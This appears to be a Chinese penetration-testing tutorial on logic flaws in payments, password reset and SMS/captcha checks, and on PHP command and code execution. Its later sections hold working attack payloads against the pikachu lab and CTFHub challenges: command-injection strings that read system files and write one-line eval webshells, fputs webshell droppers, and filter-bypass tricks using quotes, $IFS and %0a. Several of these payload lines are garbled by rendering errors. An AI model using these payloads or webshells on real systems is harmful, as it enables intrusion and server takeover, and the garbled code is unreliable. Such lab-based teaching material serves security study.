渗透测试之逻辑漏洞
文章目录
- 一、支付漏洞
- 1.修改附属值
- 2.多重替换支付
- 3.重复支付
- 4.最小额支付
- 5.最大值支付
- 6.越权支付
- 7.无限制试用
- 8.多线程并发
- 9.支付漏洞思路
- 二、密码找回漏洞
- 1.本地验证绕过
- 2.利用session重新绑定客户
- 3.去掉验证参数绕过
- 4.总结
- 三、短信验证码绕过
- 1.短信验证码生命期限内可暴力枚举
- 2.短信验证码在数据包中返回
- 3.修改请求数据包参数或 Cookie 值绕过
- 4.修改返回包绕过
- 5.攻破短信验证码接口
- 7.几种爆破绕过
- a.超长字符串
- b.特殊符号
- c.整数溢出。
- 四、验证安全
- 1.图形验证码绕过
- a.图形验证码不刷新或无效
- b.图形验证码值可直接获取
- c.图形验证码参数绕过
- i:验证码空值绕过
- ii:直接删除验证码参数,改成 user=admin&pass=1234
- 2.存在无验证码页面
- 3.万能验证码
- 4.验证码数量有限
- 5.简单验证码识别
- 6.验证码复用
- 五、命令执行
- 1.RCE定义
- 2.常见的命令执行函数
- 1) exec
- 2)system
- 3)passthru
- 4)shell_exec
- 5)反引号 `
- 6)popen
- 3.管道符号
- 4.常用的命令
- 5.命令执行危害-getshell
- 1)直接获取webshell
- 2)显示当前路径
- 3)读文件
- 4)写文件
- 6.pikachu靶场任务
- 1)查看当前用户
- 2)查看当前路径
- 3)查看C盘下的文件
- 4)写入一句话木马、用菜刀或者蚁剑连接成功
- 7.CTF靶场任务
- 1)eval执行
- 2)命令执行
- 3)文件包含
- 4)php://input
- 5)远程包含
- 6)burp system+cat读取源代码
- 7)过滤cat
- 8)单引号绕过
- 9)双引号绕过
- 10)特殊符号绕过
- 11)绕过空格
- 12)过滤目录分隔符
- 13)过滤|逻辑符号
- 14)综合练习
- 六、代码执行
- 1.定义
- 2.相关函数
- 1)eval
- 2)assert
- 3)callback函数
- 3.pikachu靶场任务
- 4.代码执行-漏洞防御
一、支付漏洞
那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验
存在可修改订单状态的接口,比如确认收货接口,确认收货以后订单状态会变成“已完成”。
有如下接口/setorderstatus?orderid=1093&orderstatus=3
1.修改附属值
修改优惠劵金额
修改积分
修改运费金额
修改服务费金额
2.多重替换支付
首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单二的商品。
3.重复支付
比如订单支付会返现,或者返积分。重复调用支付成功回调的接口,可实现多次返现,或多次返积分。
4.最小额支付
这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功。
5.最大值支付
利用整数溢出,将购买量改成99999999999999999999999999999999,这样支付金额可能会变成0。或者修改附属值,如优惠卷,积分等为999999999, 如果这里逻辑设计有问题,那么其支付金额会变为0。
6.越权支付
可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品
7.无限制试用
在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经 使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用 购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商 品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功, 又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了
8.多线程并发
并发请求:用户A在一个网站上提款,同步发送了多个提款请求,后台显示多条提款请求,审核了然后顺利的提到了几倍的bounty
处理速度的问题,数据库的处理速度跟不上用户的请求速度,就有可能存在这样的漏洞。
9.支付漏洞思路


二、密码找回漏洞
1.本地验证绕过
客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,
最终导致欺骗客户端,误以为我们已经输入了正确的验证码。
例如将返回包中的0修改为1即可绕过验证。
2.利用session重新绑定客户
重置密码最后一步是通过session获取用户名,然后再重置。
而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,
那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html
3.去掉验证参数绕过
邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,
通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改。
参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html
4.总结
1、测试业务的时候,了解清楚业务的整体流程,可以利用思维导图快速清理各个业务之间的关系
2、重点关注的业务:个人(他人)信息、密码修改(找回)、支付流程、注册流程、需要手机、邮箱验证的业务。
3、对每个业务模块进行抓包,分析其中各种请求,注意特殊参数,很有可能就是这些特殊参数决定了业务步骤。 4、抓包重放的过程需要多次实验,判断是否可以跳过(绕过),如何跳过(绕过),纯数字可以用数字+字母`尝试绕过
5、返回包中数据的分析~关注特殊字符串和特殊参数,还有JS文件('JS中可能会存在信息泄漏)。
6、综上所述,业务流程需同时结合’HTTP/HTTPS"请求分析,重点可以关注那些具有代表性的参数,绕过必要验证,跳过业务步骤。

三、短信验证码绕过
1.短信验证码生命期限内可暴力枚举
只限于数字验证码
2.短信验证码在数据包中返回
可以直接在response中获取到短信验证码
3.修改请求数据包参数或 Cookie 值绕过
比如有 post 数据包:mobile=18888888888&userid=00001, Cookie中有:codetype=1
在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用
别人的手机号和接收到的验证码登录;
修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;
4.修改返回包绕过
举个简单的例子:提交错误的短信验证码,返回包中有: status=false,用 Burpsuite 的 “Do
intercept” 功能修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。
5.攻破短信验证码接口
a:有些网站会遗留短信验证码测试页面,比如/smstest.html等,如果能找到并且还可以正常使用。
b:一般系统的短信验证码功能,都会有个接口平台可以获取到手机接收到的所有短信,找到并攻 破也能进入系统。
6.默认万能验证码
之前遇到过短信验证码输入9999,就可以登录任意用户账号的漏洞。为了方便测试以及维护,有的系统会留有万能验证码,上线后还保留着。可能是固定的写在配置文件、js文件或代码中,也可能是随时间变化的。
找回密码
前端加密,可破解,或者根本就不是加密。
比如如下案例,找回密码,得到一个token:
/resetpwd?token=eyJ1c2VybmFtZSI6InpoYW5nZiJ9
Token实际上就是将username编码了一下,修改username即可修改其他用户的密码
7.几种爆破绕过
a.超长字符串
输入超长字符串可能会导致系统拒绝服务或绕过某些限制。
b.特殊符号
曾经遇到过一个案例,密码框输入><就可以登录任意用户账号。
c.整数溢出。
利用整数溢出,精度丢失等,可能导致支付漏洞。
四、验证安全
1.图形验证码绕过
a.图形验证码不刷新或无效
手工尝试一次登录后,在某一时间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。
b.图形验证码值可直接获取
验证码通常会被隐藏在网站的源码中或者在请求的 Cookie 中,或在 response 数据包中返回
c.图形验证码参数绕过
登录请求包数据: user=admin&pass=1234&vcode=brln
可尝试如下两种绕过方法:
i:验证码空值绕过
改成user=admin&pass=1234&vcode=
ii:直接删除验证码参数,改成 user=admin&pass=1234
登录请求包数据: user=admin&pass=1234&needcode=1&vcode=brln 可尝试将needcode参数的值改成0
2.存在无验证码页面
3.万能验证码
渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,
只要输入万能验证码,就可以无视验证码进行暴力破解。
4.验证码数量有限
多见于计算类型的验证码,如 1+2=?,这种类型的验证码严格意义上来说不能叫做验证码,多刷新几次验证码,我们可能会发现系统中的算数题目只有那么几道,这种情况下只要将验证码全部下载下来,生成一个 md5 库,然后将前端生成的验证码与本地文件进行对比即可。
5.简单验证码识别
在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试
使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer、bp插件等。
https://blog.csdn.net/weixin_40412037/
article/details/105561166
6.验证码复用
当你打开常见的一些需要登录之类的系统,通常系统会自动请求一次验证码,抓包,抓住别放,保持Session不变。
五、命令执行
1.RCE定义
RCE:远程命令执行或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE
2.常见的命令执行函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
1) exec
返回值:命令执行结果的最后一行内容,失败时返回 false
https://www.php.net/manual/zh/function.exec.php
<?php
highlight_file(__FILE__);
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
exec('chcp 65001&ipconfig', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

2)system
该函数会把执行结果输出,并把输出结果的作为字符串返回。
如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存如果执行失败则返回false
<?php
highlight_file(__FILE__);
system('chcp 65001&ipconfig');
?>


//highlight_file() 函数以字符串形式返回 突出显示的代码,成功返回true,否则返回false。
3)passthru
执行外部程序并且显示原始输出
执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数
<?php
highlight_file(__FILE__);
passthru('whoami');
?>

4)shell_exec
通过 shell 执行命令并将完整的输出以字符串的方式返回
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ipconfig'));
?>

5)反引号 `
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
<?php
highlight_file(__FILE__);
$a = 'whoami';
echo `$a`;
?>

6)popen
popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了
<?php popen('whoami >>D:/2.txt','r'); ?>

3.管道符号

|前面可真可假


||——1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。

&或&&前面必须为真才会执行后面的

4.常用的命令
Windows
dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息
Linux
cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息
5.命令执行危害-getshell
1)直接获取webshell
例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php
2)显示当前路径
例如可以提交参数 ?cmd=cd 来查看当前路径。
3)读文件
例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。
4)写文件
例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php
6.pikachu靶场任务
1)查看当前用户
127.0.0.1&whoami

2)查看当前路径
127.0.0.1&cd

3)查看C盘下的文件
127.0.0.1&type c:\1.txt

127.0.0.1& type c:\windows\system32\drivers\etc\hosts

4)写入一句话木马、用菜刀或者蚁剑连接成功
127.0.0.1&echo ^<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 36: …?^> > 127.0.0.1&̲echo ^<?php eva…_REQUEST[‘admin’]); ?^> > C:\phpstudy_pro\WWW\pikachu\webshell.php



7.CTF靶场任务
https://www.ctfhub.com/#/skilltree

1)eval执行

eval执行,可以先判断下是Windows操作系统还是linux
ipconfig和ifconfig
2)命令执行
/?cmd=system(‘ifconfig’);

ls查看目录中的文件
/?cmd=system(‘ls’);

列出根目录()下的所有目录:
/?cmd=system(‘ls /’);

发现可疑文件 flag_8213 直接使用cat命令查看
/?cmd=system(‘cat /flag_8213’);得到flag

3)文件包含

4)php://input

5)远程包含

6)burp system+cat读取源代码

7)过滤cat

8)单引号绕过
127.0.0.1;c’'at flag_21869419023310.php|base64

9)双引号绕过
127.0.0.1;c""at flag_21869419023310.php|base64

10)特殊符号绕过
127.0.0.1;ca$@t flag_21869419023310.php|base64


1;2|3
此处;表示执行完1再执行2的意思,1可以随意,|表示执行完2再执行3,3只对2的结果执行,2必须执行成功才能执行3
11)绕过空格
1;cat<flag_28844345117053.php|base64

1;cat$IFS 9 f l a g 2 8844345117053. p h p ∣ b a s e 641 ; c a t 9flag_28844345117053.php|base64 1;cat 9flag28844345117053.php∣base641;cat{IFS}flag_28844345117053.php|base64
12)过滤目录分隔符
1;ls flag_is_here

1;cd flag_is_here;cat flag_8154254575089.php|base64

13)过滤|逻辑符号

14)综合练习
%0a替代;

在Windows和Linux中都支持用 “” 号模糊查询
1%0acd I F S f ∗ a g i s h e r e {IFS}f*ag_is_here%0als%0aca''t IFSf∗agishere{IFS}fag_7220223731263.php

六、代码执行
1.定义
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行
2.相关函数
PHP:eval、assert
Javascript:eval
Vbscript: Execute、Eval
Python:exec
1)eval
将字符串当做函数进行执行,需要传入一个完整的语句必须以分号 ; 结尾,最常用的函数
<?php eval('echo "hello";'); ?>2)assert
判断是否为字符串是则当成代码执行,在php7.0.29之后的版本不支持动态调用
低版本
<?php assert($_POST['a']); ?>7.0.29之后
<?php $a = 'assert'; $a(phpinfo()); ?>3)callback函数
preg_replace + /e模式

3.pikachu靶场任务

fputs(fopen(‘shell.php’,‘w’),‘<?php eval($_POST[fname]);?>’);


fputs(fopen(‘shell1.php’,‘w’),‘<?php $code=$_GET[x];echo system($code);?>’);

fputs(fopen(‘shell2.php’,‘w’),‘<?php $code=$_GET[x];eval($code);?>’);

4.代码执行-漏洞防御
代码执行的防御分为三个方面 参数 , 函数 和 权限
禁用或减少使用执行代码的函数
对于必须使用eval的地方,一定严格处理用户数据
使用addslashess()函数将参数转译,或使用黑白名单校验
限制Web用户的权限
升级插件、框架新版本
相关文章:
渗透测试之逻辑漏洞
文章目录 一、支付漏洞1.修改附属值2.多重替换支付3.重复支付4.最小额支付5.最大值支付6.越权支付7.无限制试用8.多线程并发9.支付漏洞思路 二、密码找回漏洞1.本地验证绕过2.利用session重新绑定客户3.去掉验证参数绕过4.总结 三、短信验证码绕过1.短信验证码生命期限内可暴力…...
HTML class 中 CSS名称的顺序并不重要
的确是这样!我可以证明。让我们先来看一些CSS代码: .a {color: red; }.b {color: blue; }现在让我们看一些标记: <div class"a b">Here’s some text</div>文本会是蓝色的,因为.b 在CSS中是最后定义的,对吧ÿ…...
设计模式8:代理模式-静态代理
我尝试在JDK、Android SDK和一些出名的库中,寻找静态代理的源码,没能找到。如果有读者发现,欢迎评论或者私信我。 本文目录 静态代理的实例1. 售票代理2. 明星代理 静态代理的实例 1. 售票代理 售票服务 public interface TicketService {…...
运动耳机哪款好用、适合运动的耳机推荐
如今,蓝牙耳机不仅是手机的最佳伴侣,也成为了运动爱好者的必备装备。但是,在如此众多的蓝牙耳机中,你是否对选购感到困惑呢?实际上,选择适合运动的蓝牙耳机需要考虑许多因素,如舒适度、稳固性、…...
页面滑动到可视区域加载更多内容思维流程
页面滑动到可视区域加载更多内容思维流程...
Java Word转PDF(直接转和以图片形式转)、PDF转图片、图片转PDF
在淘宝上找了一家写代码的店铺写了一个工具类,再参考网上的代码,改了改 用到的类库: <!-- https://mvnrepository.com/artifact/org.apache.pdfbox/fontbox --><!--word转pdf--><dependency><groupId>com.documents4…...
dockerfile编写LNMP
目录 1. 项目环境 2. 服务器环境 二、部署nginx(容器IP为192.168.158.26) 1、整个Dockerfile文件内容 编辑 2、配置nginx.conf文件 3、构建镜像 三、部署mysql 1、整个Docker文件内容 3、生成镜像 4、启动镜像容器 5、验证mysql 四、PHP部署 1…...
websocket + stomp + sockjs学习
文章目录 学习链接后台代码引入依赖application.ymlWebSocketConfigPrivateControllerWebSocketService WebSocketEventListenerCorsFilter 前端代码Room.vue 学习链接 WebSocket入门教程示例代码,代码地址已fork至本地gitee,原github代码地址ÿ…...
ApplicationListener , @EventListener 和 CommandLineRunner 启动顺序验证
一. 背景 排查线上问题, 发现一个重要功能的全局锁线程启动延迟很高. 服务启动40分钟之后, 才能拿到锁. 排查之后发现原因是因为代码引入了高优先级的ApplicationListener代码, 导致全局锁线程启动延迟. 二. 结论 启动顺序从高到底依次为: ApplicationListener , EventListe…...
网络编程基础(1)
目录 网络编程解决是跨主机的进程间通讯 1、网络 2、互联网 3、ip地址 (1)ipv4: (2)ipV6:1 (3)IP地址的组成: (4)Linux查看IP地址:ifconfig 4、mac地址 5、ping Ip地址 6…...
Linux驱动开发(Day4)
思维导图: 字符设备驱动分步注册:...
LVS负载均衡群集部署(LVS-NAT模型实例)
一、集群 1.1集群的含义 Cluster,集群、群集,为解决某个特定问题将多台计算机组合起来形成的单个系统。 由多台主机构成,但对外只表现为一个整体。 1.2群集的三种类型 1.2.1负载均衡群集 LB: Load Balancing,负载均衡&#x…...
【仿写tomcat】五、响应静态资源(访问html页面)、路由支持以及多线程改进
访问html页面 如果我们想访问html页面其实就是将本地的html文件以流的方式响应给前端即可,下面我们对HttpResponseServlet这个类做一些改造 package com.tomcatServer.domain;import com.tomcatServer.utils.ScanUtil;import java.io.IOException; import java.io…...
stm32单片机/51单片机蜂鸣器不响(proteus模拟)
蜂鸣器不发生原因就1个:电压不够 所以需要提高蜂鸣器2端的电压:可以采用的方法有: 1提高蜂鸣器电阻,这样根据分压原理,可以提升蜂鸣器2段电压 2更改蜂鸣器的工作电压为更小的值,这个可以通过在proteus内…...
BERT、ERNIE、Grover、XLNet、GPT、MASS、UniLM、ELECTRA、RoBERTa、T5、C4
BERT、ERNIE、Grover、XLNet、GPT、MASS、UniLM、ELECTRA、RoBERTa、T5、C4 ELMOBERTERNIEGroverXLNetGPTMASSUniLMELECTRARoBERTaT5C4ELMO BERT...
主机防护的重要性和方式
01 主机防护的重要性 主机防护是网络安全的重要组成部分。在互联网时代,网络攻击成为了一种常见的威胁,而主机防护则是保护计算机系统免受网络攻击的重要手段。 主机防护可以防范各种网络攻击,如病毒、木马、黑客攻击等,从而保…...
聚观早报 | 抢先体验阿维塔11座舱;本田和讴歌采用NACS充电标准
【聚观365】8月21日消息 抢先体验阿维塔11鸿蒙座舱 本田和讴歌采用特斯拉NACS充电标准 华为秋季新品发布会将于9月12日举行 iQOO Z8即将到来 三星Galaxy S24系列外观或更改 抢先体验阿维塔11鸿蒙座舱 当前,智能座舱成了各大巨头跑马圈地的重要领域。根据毕马威…...
思科计算机网络答案(包含第1~11章节)
第一章 1.在以下哪个场景中推荐使用 WISP? 选择一项: A.城市里的网吧 B.没有有线宽带接入的农村地区的农场 C.任何有多个无线设备的家庭 D.通过有线连接访问 Internet 的大厦公寓 2.一位员工希望以尽可能最安全的方式远程访问公司网络。 下列哪种网络特征将允许员工获得对…...
所见即所得,「Paraverse平行云」助力万间打造智能建造新图景
在城市建设行业中,数字化逐渐成为其主导力量。 新一代信息基础设施建设也迎来了新的里程碑。数据显示,截至今年,我国已全面推进城市信息模型(CIM)基础平台建设,为城市规划、建设管理提供了多场景应用的强大…...
AI图片处理功能演示
例如,这是一张不错的图片,但是有3只手。 我们可以选择有问题的区域,然后要求 niji 进行重新绘制。 根据我们选择的区域,我们可以以不同的方式修复结果。 创意修复 修复并不仅限于纠正错误。我们可以要求 niji 添加额外的元素&…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...
XML Group端口详解
在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
C++.OpenGL (10/64)基础光照(Basic Lighting)
基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...
uniapp中使用aixos 报错
问题: 在uniapp中使用aixos,运行后报如下错误: AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...
QT: `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中,将 long long 类型转换为 QString 可以通过以下两种常用方法实现: 方法 1:使用 QString::number() 直接调用 QString 的静态方法 number(),将数值转换为字符串: long long value 1234567890123456789LL; …...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
Mobile ALOHA全身模仿学习
一、题目 Mobile ALOHA:通过低成本全身远程操作学习双手移动操作 传统模仿学习(Imitation Learning)缺点:聚焦与桌面操作,缺乏通用任务所需的移动性和灵活性 本论文优点:(1)在ALOHA…...
代码随想录刷题day30
1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...
LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...
